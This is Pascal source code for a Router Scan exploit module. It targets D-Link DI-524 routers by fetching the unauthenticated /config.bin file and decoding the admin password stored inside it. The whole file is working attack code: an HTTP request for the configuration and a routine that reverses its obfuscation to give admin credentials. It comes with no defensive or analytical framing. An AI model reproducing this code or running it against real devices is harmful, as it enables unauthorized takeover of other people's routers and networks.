// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://stascorp.com/forum/15-86-1

function DLB6031_Pass(var M: TMemoryStream): AnsiString;
  function tbl(X,Y: Byte): Byte;
  begin
    Dec(Y);
    Result := not X;
    if Y < 8 then
      Result := Result shr (8 - Y);
    if Y > 8 then
      Result := Result shl (Y and 7);
  end;
var
  O: TMemoryStream;
  I: Integer;
  B1, B2: Byte;
begin
  M.Seek(0, soFromBeginning);
  if M.Size < 2048 then
    Exit;
  O:=TMemoryStream.Create;
  I:=0;
  while I < 54 do begin
    M.ReadBuffer(B1, 1);
    O.WriteBuffer(B1, 1);
    Inc(I);
  end;
  while I < M.Size do begin
    M.ReadBuffer(B1, 1);
    B1 := tbl(B1, M.Position mod 16);
    O.WriteBuffer(B1, 1);
    Inc(I);
  end;
  Dec(I);
  M.Seek(-1, soCurrent);
  O.Seek(54, soFromBeginning);
  while I > 53 do begin
    M.ReadBuffer(B1, 1);
    B1 := tbl(B1, 15 - (M.Position mod 16));
    M.Seek(-2, soCurrent);
    O.ReadBuffer(B2, 1);
    B1 := B1 + B2;
    O.Seek(-1, soCurrent);
    O.WriteBuffer(B1, 1);
    Dec(I);
  end;
  if O.Size >= $D5 then
    Result := PAnsiChar(Cardinal(O.Memory)+$B5);
  O.Free;
end;

function TRouter.Exploit_DLinkDLB6031(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  MS: TMemoryStream;
begin
  // Affected:
  // D-Link DI-524
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/config.bin',
  MS, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    Tmp := DLB6031_Pass(MS);
    if Tmp <> '' then begin
      AuthUser := 'admin';
      AuthPass := Tmp;
      Result := True;
    end;
  end;
  MS.Free;
end;
